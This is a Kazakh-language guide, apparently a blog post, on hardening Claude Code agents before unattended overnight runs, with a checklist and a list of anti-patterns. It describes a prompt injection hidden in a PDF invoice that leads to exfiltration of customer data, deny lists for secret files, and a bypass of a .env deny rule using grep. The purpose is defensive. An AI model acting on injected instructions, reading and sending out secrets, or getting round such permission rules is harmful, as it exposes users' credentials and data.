3-түр: сыртқа жариялау. Сеанс әлеуметтік желілерде жариялап, электрондық пошта науқандарын жіберіп және pull request аша алады. Бірақ жеке деректерге қол жеткізе АЛМАЙДЫ әрі кіріс мазмұнды өңдемейді.

Неліктен бөлу керек? Егер бір сеанс бәрін істесе, арнайы жіберілген PDF файлдағы prompt injection (бәсекелес агенттік «шот-фактура» жіберді делік) агентке бір әрекетпен клиенттер дерекқорын оқуға, олардың электрондық пошта мекенжайларын табуға және оларды шабуылдаушыға жіберуге мүмкіндік береді. Бұл тізбектегі әр әрекет жеке алғанда өз тапсырмасы үшін заңды. Бірақ бірге — деректердің таралуы.

Деректерді сыртқа шығарудың ең қорқынышты үлгісі — бір жаман пәрмен емес. Бұл — мүлде қалыпты пәрмендердің тізбегі. Агент .env файлын оқиды (рұқсат етілген), оны HTTP арқылы жібереді (рұқсат етілген) — болды.

— ibrahim_h, HackerNews

Іс жүзінде бұл әр тапсырма түріне бөлек .claude каталогын қолдану арқылы іске асады. Компьютерімде үш баптау бар: ~/projects/business-ops/.claude/ (1-түр, дерекқорға қол жеткізу бар, желіге тек ішкі API үшін рұқсат), ~/projects/inbox-parsing/.claude/ (2-түр, желі толық бұғатталған), ~/projects/social-posting/.claude/ (3-түр, Telegram және Slack API-леріне желіге шығуға рұқсат). Әр каталог — Claude Code үшін өз рұқсаттары мен хуктері бар бөлек жоба.

/loop іске қоспас бұрын қандай 12 тармақты тексеремін?

Негізгі түйін

Түнде /loop, /schedule немесе claude --bg іске қоспас бұрын өтетін 12 тармақты тексеру тізімі. Онда негізгі deny ережесі бар ~/.claude/settings.json файлынан бастап, желі оқшаулануы бар /sandbox дейінгі тексерулер қамтылған. Тіпті бір тармағы орындалмаса да, іске қоспаймын.

  1. ~/.claude/settings.json файлында .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/** үшін пайдаланушы деңгейіндегі deny ережесі бар. Бұл — негіз; онсыз қалғанының мәні жоқ.

  2. ~/.claude/settings.json файлында disableBypassPermissionsMode: "disable" бар. YOLO жалаушасын біржола бұғаттайды.

  3. block-secret-reads.sh мысалдары таңдалған құпия оқу пәрмендерінде сыналған; нақты құпиялар мен production credentials қараусыз ортаға қолжетімсіз.

  4. block-force-push.sh мысалы танылған тікелей push-тарды жалауша реті мен нысанадан тәуелсіз бұғаттайды; қорғалған тармақтар мен айналып өтпейтін credentials Git серверінде міндеттелген.

  5. DROP TABLE, TRUNCATE және WHERE-сыз DELETE FROM пәрмендеріне арналған block-destructive-sql.sh хук.

  6. Ауқымы нақты көрсетілмеген rm -rf пәрмендеріне арналған block-rm-rf.sh хук.

  7. npm install <new package> пәрменіне арналған ask-on-new-deps.sh хук (npm install пәрменінен бөлек, аргументсіз қолданылады).

  8. package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml және Cargo.toml файлдарына жазуға арналған ask-on-lockfile-change.sh хук.

  9. Барлық Bash, Write және Edit шақыруларын жазатын audit.jsonl журналы. Онсыз оқиғадан кейінгі талдау мүмкін емес.

  10. Ұзақ фондық сеанстардың барлығы негізгі тармақта емес, worktree ішінде іске қосылады: claude --bg "task" автоматты түрде worktree жасайды, бірақ settings.json ішінде worktree.bgIsolation: "none" жоқ екенін тексеріңіз.

  11. Ұзақ автономды тапсырманы бастамас бұрын /sandbox іске қосылады. Файлдық жүйеге қол жеткізу жоба каталогы мен /tmp каталогымен шектелген. Желі тек api.anthropic.com, github.com және registry.npmjs.org тізіміндегі мекенжайларға шығады.

  12. Тапсырма ішінде тексеру қадамы бар: әрбір маңызды өзгерістен кейін тест іске қосқышын немесе линтерді іске қосыңыз. Олар сәтсіз болса, агент түзетпейінше жалғастырмайды.

Соңғы тармақ — құрал баптауы емес, жұмыс тәсілі. Борис Черный Claude-қа жұмысын тексеру жолын беруді ұсынады; сонда соңғы нәтиженің сапасы 2–3 есе артады. Тексерусіз түнгі агент «дұрыс істедім деп ойлаймын, жалғастырайын» деген режимде қателер жинап отырады. Тексеру болса, ол тексеріс өтпейінше жалғаспайды.

7 анти-үлгі: не істемеу керек

Негізгі түйін

Мұнда сипатталған жобалардан алынған жеті жиі қате: өндірістік ортаға қол жеткізе алатын компьютерде --dangerously-skip-permissions пайдалану, тек CLAUDE.md файлына сену, үстінен хук қоспай permissions.deny ережесіне сену және auto-mode-ты резервтік ережелерсіз қолдану. Әр қате дереккөздердегі нақты оқиғалармен байланысты.

1. Өндірістік ортаға қол жеткізе алатын компьютерде --dangerously-skip-permissions пайдалану. Browningstreet бір ғана «ретке келтіру» пәрменімен өндірістік және әзірлеу дерекқорларынан айырылды. Қате жіберудің құны — қалпына келтіруге кететін сағаттар және резервтік көшірмеде жоқ деректер. Оқиға болып қойған болса, «AI дерекқорды жойса не істеу керек: қалпына келтіру тексеру тізімі» нұсқаулығын ашып, 10 қадамды ретімен орындаңыз.

2. Қауіпсіздік үшін тек CLAUDE.md файлына сену. #44868 issue-ы модель алдымен әрекет етіп, кейін кешірім сұрайтынын дәлелдеді. Мәтін файлындағы кеңес сипатындағы нұсқау құрал шақыруын бұғаттамайды. Дұрыс бапталған hook сәйкес шақыруларды бұғаттай алады, ал OS, құмсалғыш және қызметтегі access control кеңірек шекараларды міндеттейді. CLAUDE.md жоба контексі үшін маңызды; ол туралы «CLAUDE.md файлын дұрыс баптау жолы» нұсқаулығында бөлек жаздым. Бірақ ол автономды агенттен қорғамайды.

3. Үстінен хук қоспай, settings.json ішіндегі permissions.deny ережесіне ғана сену. #24846 issue-ы 2026 жылғы ақпаннан бері ашық. .env* файлдарына арналған deny ережесін Bash ішіндегі grep арқылы айналып өтуге болады. Hook тексеру қоса алады, бірақ құпиялар қараусыз ортадан да тыс болуы керек; regex қолжетімділікті басқарудың толық алмастырушысы емес.

4. Auto-mode пен regex hook-тарды өндірістік оқшаулау деп қарау. Келтірілген жалған теріс үлес бағалауға тән, ал hook қамтуы толық емес. Әр қауіпті әрекет ұсталады деп санамай, production жазу credentials-ін алып, міндеттелген шекараны тексеріңіз.

5. Жаңа пакетті npm install арқылы растаусыз орнату. Жеткізу тізбегіне жасалатын шабуылдар шынайы. 2024–2026 жылдардағы Tea-tags оқиғалары жүктеу саны мыңдап саналатын, атауы ұқсас жалған пакеттердің бар екенін көрсетті. Рұқсат етілгендер тізімі қажет.

6. Bash шақыруларын журналға жазбау. Аудит журналы болмаса, түнде не болғанын түсіне алмайсыз. Чат транскрипті ұзақ, пәрмен бойынша индекстелмейді және оқиғалар хронологиясын көрсетпейді. .claude/audit.jsonl осы екі мәселені де шешеді.

7. Фондық сеанстар үшін worktree қолданбау. Бір каталогта қатар жүретін сеанстар бір-бірінің жұмысына кедергі келтіреді. Claude Code-та worktree.bgIsolation әдепкіде қосулы — 2.1.143 нұсқасынан бастап, бірақ баптауларыңызды тексеріңіз.

Ал хук не баптау да алдын ала алмайтын басты нәрсе:

Бұл сөздер стиль туралы емес. Өндірістік ортаны қорғауға жауапты адам — агентті іске қосқан адам. Claude Code тура ұстара сияқты: онымен қырынуға да, өзіңізді кесіп алуға да болады. Баптау бір сұраққа жауап береді: ұстара тиісті нәрсені ғана кеспеуі үшін ортаны жеткілікті дәрежеде дайындадыңыз ба?

Оқиғаға дейінгі баптау агенттің не істей алатынын алдын ала шектеп, қалаған жұмысын орындауына мүмкіндік береді.

Қосымша ресурстар Ailoot сайтында қолжетімді.

Толығырақ

Жиі қойылатын сұрақтар

Force-push hook өндірісті кез келген shell пәрменінен қорғай ма?

Жоқ. Жаңартылған мысал танылған тікелей git push шақыруларын, жалаушаның екі ретін, жасырын тармақтарды, refspec пен кәдімгі shell тізбектерін бұғаттайды. Alias, орауыш және құрастырылған пәрмендер мәтін тексеруінен өте алады; қорғалған тармақтарды міндеттеп, айналып өту кіру деректерін алыңыз.

Агентті түні бойы қалдырмас бұрын не қажет?

Өндіріске жазу рұқсаты не оқылатын құпиясы жоқ оқшау орта қолданыңыз, желі мен қызметтегі шектеулерді тексеріңіз және hook-тың жоспарланған сәйкес келуі мен келмеуін сынаңыз. Hook тексеру қосады, бірақ сол нақты шекараларды алмастырмайды.

Барлық мақалалар